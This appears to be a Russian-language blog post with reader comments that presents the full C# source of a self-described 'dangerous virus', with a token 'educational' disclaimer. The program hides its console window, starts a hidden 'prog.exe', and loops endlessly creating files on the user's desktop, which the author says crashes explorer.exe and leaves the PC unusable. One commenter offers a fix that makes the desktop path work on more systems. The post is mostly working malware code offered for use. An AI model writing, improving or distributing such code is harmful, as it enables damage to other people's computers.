Пишем невероятно простой и опасный вирус на C#.
ВНИМАНИЕ!!! ЭТО ПРОСТО ПРИМЕР. Я НЕ НЕСУ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ТО ЧТО ОН НАВРЕДИТ ВАМ ИЛИ КОМУ-ТО ДРУГОМУ. ИСПОЛЬЗУЙТЕ ДАННЫЙ ВИРУС ТОЛЬКО В ОБУЧАЮЩИХ ЦЕЛЯХ.
Любой программист должен написать свой маленький вирус. Сегодня я опишу свой маленький и "зубастенький" вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файли на робочем столе, и когда файлов создается больше 100 explorer.exe (проводник, процесс который управляет робочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК удалить все файли из папки рабочего стола.
///Подключаем нужные библиотеки.
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
///Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{
///Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;
///Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}
Вот и все. Да это весь вирус. А теперь минусы: он не запускается сам, большинство антивирусов могут заметить его (Avast например).Но так как это простой пример, то эти функции здесь не нужны. Цель написания таких программок не в том чтобы кому-то навредить а чтобы описать свой способ ущербного воздействия на систему.
вирусы на батнике будут функциональнее этого примера
ОтветитьУдалитьпонял вас
ОтветитьУдалитьСЭР
После появления OneDrive, путь к рабочему столу, скорее всего, уже другой. Лучше использовать System.Environment.GetFolderPath(System.Environment.SpecialFolder.DesktopDirectory).
ОтветитьУдалитьНе понятно для чего вообще создавать отдельный скрытый процесс, если сам вирус (бесконечный цикл) работает в текущем; что за "prog.exe"?